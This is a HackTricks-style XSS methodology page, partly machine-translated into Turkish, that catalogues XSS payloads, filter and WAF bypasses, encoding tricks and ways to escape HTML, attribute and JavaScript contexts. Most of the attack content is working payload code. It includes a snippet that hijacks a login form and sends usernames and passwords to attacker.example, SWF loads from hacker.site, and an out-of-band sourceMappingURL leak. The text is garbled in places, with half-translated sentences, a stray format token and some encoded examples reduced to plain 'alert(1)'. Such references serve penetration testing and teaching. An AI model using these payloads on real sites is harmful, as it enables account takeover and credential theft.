%.*s
XSS (Cross Site Scripting)
Reading time: 53 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Metodoloji
- HTML'de yansıtılan veya JS kodu tarafından kullanılan herhangi bir değeri (parametreler, path, headers?, cookies?) kontrol edip etmediğinizi kontrol edin.
- Yansıtıldığı/kullanıldığı konteksti bulun.
- Eğer yansıtılıyorsa
- Hangi sembolleri kullanabildiğinizi kontrol edin ve buna göre payload hazırlayın:
- Ham HTML içinde:
- Yeni HTML tagleri oluşturabilir misiniz?
javascript:
protokolünü destekleyen event veya attribute'ları kullanabilir misiniz?- Koruma mekanizmalarını atlayabilir misiniz?
- HTML içeriği herhangi bir client side JS engine (AngularJS, VueJS, Mavo...) tarafından yorumlanıyorsa, bir Client Side Template Injection istismar edebilirsiniz.
- JS kodu çalıştıran HTML tagleri oluşturamıyorsanız, bir Dangling Markup - HTML scriptless injection istismar edebilir misiniz?
- Bir HTML tag içinde:
- Raw HTML konteksine çıkabilir misiniz?
- JS kodu çalıştıracak yeni event/attribute'lar oluşturabilir misiniz?
- Takıldığınız attribute JS çalıştırmayı destekliyor mu?
- Koruma mekanizmalarını atlayabilir misiniz?
- JavaScript kodu içinde:
<script>
tag'inden kaçabilir misiniz?- string'ten kaçıp farklı JS kodu çalıştırabilir misiniz?
- Girdiğiniz template literal
`
içinde mi? - Koruma mekanizmalarını atlayabilir misiniz?
- Çalıştırılan Javascript fonksiyonu
- Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örn.:
?callback=alert(1)
- Eğer kullanılıyorsa:
- Bir DOM XSS'i istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken ilginizi çekebilecek şeyler:
Yansıtılan değerler
Bir XSS'i başarıyla istismar etmek için önce bulmanız gereken şey, sizin tarafınızdan kontrol edilen ve web sayfasında yansıtılan bir değerdir.
- Ara yansıtılmış: Bir parametrenin veya hatta path'in değeri web sayfasında yansıtılıyorsa Reflected XSS'i istismar edebilirsiniz.
- Kaydedilmiş ve yansıtılan: Sizin tarafınızdan kontrol edilen bir değer sunucuda kaydedilip her sayfa erişiminde yansıtılıyorsa Stored XSS'i istismar edebilirsiniz.
- JS aracılığıyla erişilen: Sizin tarafınızdan kontrol edilen bir değere JS ile erişiliyorsa DOM XSS'i istismar edebilirsiniz.
Kontekstler
Bir XSS'i istismar etmeye çalışırken ilk bilmeniz gereken şey, girdinizin nerede yansıtıldığıdır. Kontekste bağlı olarak, keyfi JS kodunu farklı yollarla çalıştırabilirsiniz.
Ham HTML
Girdiğiniz ham HTML sayfasında yansıtılıyorsa JS kodu çalıştırmak için bazı HTML tag'lerini kötüye kullanmanız gerekecek: <img , <iframe , <svg , <script
... bunlar kullanabileceğiniz birçok HTML taginden sadece bazılarıdır.
Ayrıca Client Side Template Injection unutmayın.
HTML tag attribute'ları içinde
Girdiniz bir tag'in attribute değeri içinde yansıtılıyorsa şunları deneyebilirsiniz:
- Attribute'dan ve tag'den kaçmak (sonra raw HTML içinde olursunuz) ve kötüye kullanmak için yeni bir HTML tag oluşturmak:
"><img [...]
- Attribute'dan kaçıp tag'den kaçamıyorsanız (
>
encode edilmiş veya silinmişse), tag'e bağlı olarak JS kodu çalıştıran bir event oluşturabilirsiniz:" autofocus onfocus=alert(1) x="
- Attribute'dan kaçamıyorsanız (
"
encode ediliyor veya siliniyorsa), hangi attribute içinde yansıtıldığını ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak istismar edebilirsiniz. Örneğin,onclick=
gibi bir event'i kontrol ediyorsanız tıklanınca rastgele kod çalıştırabilirsiniz. İlginç bir örnekhref
attribute'udur; buradajavascript:
protokolünü kullanarak rastgele kod çalıştırabilirsiniz:href="javascript:alert(1)"
- Girdiğiniz değer "istismar edilemeyen tag'ler" içinde yansıtılıyorsa
accesskey
numarasıyla (sosyal mühendislik gerekecek) zafiyeti kötüye kullanmayı deneyebilirsiniz:" accesskey="x" onclick="alert(1)" x="
Bir class adı kontrol ediliyorsa Angular'ın XSS çalıştırdığı tuhaf örnek:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript kodu içinde
Bu durumda girdiniz bir HTML sayfasındaki <script> [...] </script>
etiketleri arasında, bir .js
dosyası içinde veya javascript:
protokolü kullanan bir attribute içinde yansıtılır:
- Eğer
<script> [...] </script>
etiketleri arasında yansıtılıyorsa, girdiniz herhangi bir tırnak içinde olsa bile</script>
enjekte etmeyi ve bu bağlamdan kaçmayı deneyebilirsiniz. Bu, tarayıcının önce HTML etiketlerini parse etmesi ve sonra içeriği işlemesi nedeniyle çalışır; dolayısıyla enjekte ettiğiniz</script>
etiketinin HTML kodu içinde olduğunu fark etmeyecektir. - Eğer inside a JS string içinde yansıtılıyorsa ve son hile işe yaramıyorsa string'ten çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekir (herhangi bir hata olursa, çalıştırılmayacaktır):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Eğer template literals içinde yansıtılıyorsa
${ ... }
sözdizimini kullanarak JS ifadeleri embed edebilirsiniz:var greetings = `Hello, ${alert(1)}`
- Unicode encode kullanmak, valid javascript code yazmak için işe yarar:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirme (declare) yapabilme fırsatını ifade eder; böylece bir XSS'in tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryolardan yararlanabilirsiniz.
Daha fazla bilgi için şu sayfaya bakın:
Javascript Function
Bazı web sayfalarının, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpoints'leri vardır. Gerçekte sık karşılaşılan bir örnek şu şekildedir: ?callback=callbackFunc
.
Kullanıcı tarafından doğrudan verilen bir şeyin yürütülmeye çalışılıp çalışılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (örneğin 'Vulnerable' olarak) ve konsolda şu tür hatalara bakmaktır:
Eğer zafiyet varsa, sadece şu değeri göndererek bir alert tetikleyebilirsiniz: ?callback=alert(1)
. Ancak, bu tür endpoints'lerin genellikle içeriği doğrulayarak yalnızca harf, rakam, nokta ve alt çizgi kabul etmeleri ([\w\._]
) çok yaygındır.
Buna rağmen, bu kısıtlama olsa bile bazı işlemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak DOM'daki herhangi bir elemana erişebilmenizdir:
Bunun için bazı kullanışlı fonksiyonlar:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders
.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
Bazı yerlerde location.href
gibi saldırgan tarafından kontrol edilen bazı verileri güvenli olmayan şekilde kullanan JS code bulunur. Bir saldırgan bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.
Universal XSS
Bu tür XSS'ler her yerde bulunabilir. Bunlar sadece bir web uygulamasının istemci tarafı istismarına bağlı değildir, herhangi bir bağlamda ortaya çıkabilir. Bu tür arbitrary JavaScript execution, hatta RCE elde etmek, istemci ve sunucularda rastgele dosyaları okumak ve daha fazlası için bile kullanılabilir.
Some examples:
WAF bypass encoding image
Injecting inside raw HTML
Girdiğiniz değer HTML sayfası içinde yansıtılıyorsa veya bu bağlamda HTML kodu kaçıp enjekte edebiliyorsanız, yapmanız gereken ilk şey yeni tag'ler oluşturmak için <
karakterini kötüye kullanıp kullanamayacağınızı kontrol etmektir: Sadece o karakteri yansıtmayı deneyin ve bunun HTML encoded edilip edilmediğini veya silinip silinmediğini ya da değişmeden yansıtılıp yansıtılmadığını kontrol edin. Sadece son durumda bu durumu istismar edebilirsiniz.
For this cases also keep in mind Client Side Template Injection.\ Note: A HTML comment can be closed using****-->
****or **--!>
****
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Ancak, eğer tags/attributes siyah/beyaz listeleme kullanılıyorsa, hangi tags oluşturabileceğinizi brute-force ile belirlemeniz gerekir.
Hangi tags'in izin verildiğini tespit ettikten sonra, bağlamı nasıl saldırılabileceğinizi görmek için bulunan geçerli tags içinde brute-force attributes/events yapmanız gerekir.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus
attribute. In the XSS request, you need to end the URL with #
to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Kara Liste Atlatmaları
Eğer bir tür kara liste kullanılıyorsa, onu bazı basit hilelerle atlatmayı deneyebilirsiniz:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Uzunluk bypass'ı (small XSSs)
[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Sonuncusu 2 unicode karakteri kullanıyor ve 5'e genişliyor: telsr
Bu karakterlerin daha fazlasını burada bulabilirsiniz.
Hangi karakterlerde ayrıştırıldıklarını kontrol etmek için buraya bakın.
Click XSS - Clickjacking
Eğer zafiyetten yararlanmak için kullanıcının önceden doldurulmuş bir linke veya forma tıklaması gerekiyorsa, sayfa zafiyetliyse abuse Clickjacking deneyebilirsiniz.
Impossible - Dangling Markup
Eğer sadece JS kodu çalıştıracak bir HTML tag'i ve attribute oluşturmanın imkansız olduğunu düşünüyorsanız, Danglig Markup kontrol etmelisiniz çünkü exploit edilebilecek zafiyeti JS çalıştırmadan da kullanabilirsiniz.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Eğer bir HTML tag'ı içindeyseniz, ilk deneyebileceğiniz şey tag'dan escape ederek önceki bölümda bahsedilen tekniklerden bazılarını kullanıp JS kodu çalıştırmaktır.
Eğer tag'dan escape edemiyorsanız, JS kodu çalıştırmayı denemek için tag içinde yeni attribute'lar oluşturabilirsiniz; örneğin şu şekilde bir payload kullanabilirsiniz (not: bu örnekte attribute'tan kaçmak için double quotes kullanılıyor, input'unuz doğrudan tag içine yansıyorsa bunlara ihtiyacınız olmaz):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stil olayları
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Öznitelik içinde
Even if you öznitelikten kaçış yapamıyor olsanız ("
is being encoded or deleted), depending on hangi öznitelikte your value is being reflected in değerin tamamını mı yoksa yalnızca bir kısmını mı kontrol ettiğinize you will be able to abuse it. For örnek, if you control an event like onclick=
you will be able to make it execute arbitrary code when it's clicked.\ Another interesting örnek is the attribute href
, where you can use the javascript:
protocol to execute arbitrary code: href="javascript:alert(1)"
HTML encoding/URL encode kullanarak event içinde bypass
The HTML ile kodlanmış karakterler inside the value of HTML tags attributes are çalışma zamanında çözülür. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Note that her türlü HTML kodlaması geçerlidir:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
URL encode'in de işe yarayacağını unutmayın:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Unicode encode kullanarak event içinde Bypass
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
attribute içinde özel protokoller
Burada bazı yerlerde javascript:
veya data:
protokollerini keyfi JS kodu çalıştırmak için kullanabilirsiniz. Bazıları kullanıcı etkileşimi gerektirir; bazıları ise gerekmez.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Bu protokolleri enjekte edebileceğiniz yerler
Genel olarak javascript:
protokolü href
özniteliğini kabul eden herhangi bir etikette kullanılabilir ve çoğu src
özniteliğini kabul eden etiketlerde de kullanılabilir (ancak <img>
değil)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Diğer obfuscation hileleri
Bu durumda, bir öznitelik içinde olduğunuz için önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir.
<a href="javascript:var a=''-alert(1)-''">
Ayrıca, bu durumlar için başka bir nice trick daha var: javascript:...
içindeki girdiniz URL encoded olsa bile, yürütülmeden önce URL decoded edilecektir. Dolayısıyla, eğer string'den escape etmek için bir single quote kullanmanız gerekiyorsa ve bunun URL encoded olduğunu görüyorsanız, unutmayın ki önemli değil, yürütme sırasında bu bir single quote olarak interpreted edilecektir.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Dikkat: herhangi bir sırayla URLencode + HTMLencode
'i her ikisini birden kullanarak payload'ı encode etmeye çalışırsanız bu çalışmayacaktır, ancak payload içinde bunları karıştırabilirsiniz.
javascript:
ile Hex ve Octal encode kullanımı
iframe
'in src
attributeı
içine (en azından) Hex ve Octal encode kullanarak JS çalıştırmak için HTML tag'larını yazabilirsiniz:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Eğer herhangi bir URL'yi rastgele bir <a href=
etiketine enjekte edebiliyorsanız ve bu etiket target="_blank" and rel="opener"
özniteliklerini içeriyorsa, bu davranışı istismar etmek için aşağıdaki sayfayı kontrol edin:
on Olay İşleyicileri Bypass
Öncelikle faydalı "on" event handlers için bu sayfayı (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) kontrol edin.
Eğer bazı blacklistler bu event handler'ları oluşturmanızı engelliyorsa, aşağıdaki bypass'ları deneyebilirsiniz:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
'Unexploitable tags' içinde XSS (hidden input, link, canonical, meta)
Buradan here artık hidden inputs ile şu şekilde kötüye kullanılabiliyor:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Ve meta etiketleri:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Kaynak: here: Bir XSS payload inside a hidden attribute çalıştırabilirsiniz; yeter ki victimi key combination'a basmaya ikna edebilin. Firefox (Windows/Linux) üzerinde tuş kombinasyonu ALT+SHIFT+X, OS X'te ise CTRL+ALT+X'dir. access key attribute içinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload şu şekilde olacaktır: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Bu bölümde farklı encoding kullanılarak yapılan birkaç hile zaten gösterildi. Nerede kullanabileceğinizi öğrenmek için geri gidin:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Bakınız: Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Bakınız: JavaScript bypass blacklist of the following section.
CSS-Gadgets
Eğer web'in çok küçük bir kısmında XSS bulduysanız ve bir etkileşim gerekiyorsa (ör. footer'da onmouseover öğesi içeren küçük bir link), linkin tetiklenme ihtimalini maksimize etmek için o öğenin kapladığı alanı değiştirmeyi deneyebilirsiniz.
Örneğin, elemente şu tarz bir stil ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ancak WAF style attribute'ünü filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şu CSS'leri bulursanız
.test {display:block; color: blue; width: 100%}
ve
#someid {top: 0; font-family: Tahoma;}
Şimdi linkimizi şu forma getirebilirsiniz
<a href="" id=someid class=test onclick=alert() a="">
Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Bu durumda input'ınız .js
dosyasının içinde veya <script>...</script>
etiketleri arasında ya da JS kodu çalıştırabilen HTML event'leri arasında veya javascript:
protokolünü kabul eden attribute'ler arasında yansıtılacaktır.
Escaping <script> tag
Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script>
içinde yansıtılıyorsa, kolayca <script>
kapanışını escape edebilirsiniz:
</script><img src=1 onerror=alert(document.domain)>
Bu örnekte tek tırnak işaretini bile kapatmadığımızı unutmayın. Bunun nedeni, HTML ayrıştırmasının önce tarayıcı tarafından yapılmasıdır, bu işlem sayfa elemanlarının, script blokları dahil olmak üzere, tanımlanmasını içerir. Gömülü scriptleri anlamak ve çalıştırmak için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.
JS kodu içinde
Eğer <>
temizleniyorsa, girdinizin bulunduğu yerde yine de string'i escape etmek ve keyfi JS çalıştırmak mümkün olabilir. JS sözdizimini düzeltmek önemlidir, çünkü herhangi bir hata olursa JS kodu çalıştırılmaz:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Kullanıcı girdisi alıntılanmış bir JavaScript string'in içine düştüğünde (ör. server-side echo ile inline script içine), string'i sonlandırabilir, inject code yapabilir ve sözdizimini onararak parsing'in geçerli kalmasını sağlayabilirsiniz. Genel iskelet:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Zayıf parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni:
?param=test";<INJECTION>;a="
Bu, HTML bağlamına dokunmadan (saf JS-in-JS) saldırgan JS çalıştırır. Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
Template literals ``
Tek ve çift tırnakların yanı sıra diziler oluşturmak için JS ayrıca backticks ``
'i kabul eder. Bu, ${ ... }
sözdizimiyle gömülü JS ifadelerine izin verdiği için template literals olarak bilinir.
Bu nedenle, girdinizin backticks kullanan bir JS dizisi içinde yansıtıldığını görürseniz, ${ ... }
sözdizimini kötüye kullanarak herhangi bir JS kodu çalıştırabilirsiniz:
Bu, şu şekilde kötüye kullanılabilir:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
eval(atob()) içeren ve scope nüanslarına sahip teslim edilebilir payload'lar
URL'leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için, gerçek mantığınızı base64 ile kodlayıp eval(atob('...'))
ile değerlendirebilirsiniz. Eğer basit anahtar kelime filtreleri alert
, eval
veya atob
gibi tanımlayıcıları engelliyorsa, tarayıcıda aynı şekilde derlenen ancak dize-eşleştirme filtrelerinden kaçan Unicode-escape edilmiş tanımlayıcıları kullanın:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Önemli kapsam nüansı: eval()
içinde tanımlanan const
/let
blok kapsamlıdır ve global oluşturmaz; sonraki script'lerden erişilemezler. Gerektiğinde global, yeniden bağlanamaz hook'ları tanımlamak için dinamik olarak enjekte edilmiş bir <script>
elementi kullanın (ör. bir form işleyicisini ele geçirmek için):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Kodlamasıyla JS yürütme
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists teknikleri
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Özel kaçışlar
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS kodu içindeki boşluk ikameleri
<TAB>
/**/
JavaScript comments (kaynak JavaScript Comments hile)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (kaynak: JavaScript new line trick)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript boşluk karakterleri
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript bir yorumun içinde
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript parantezsiz
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
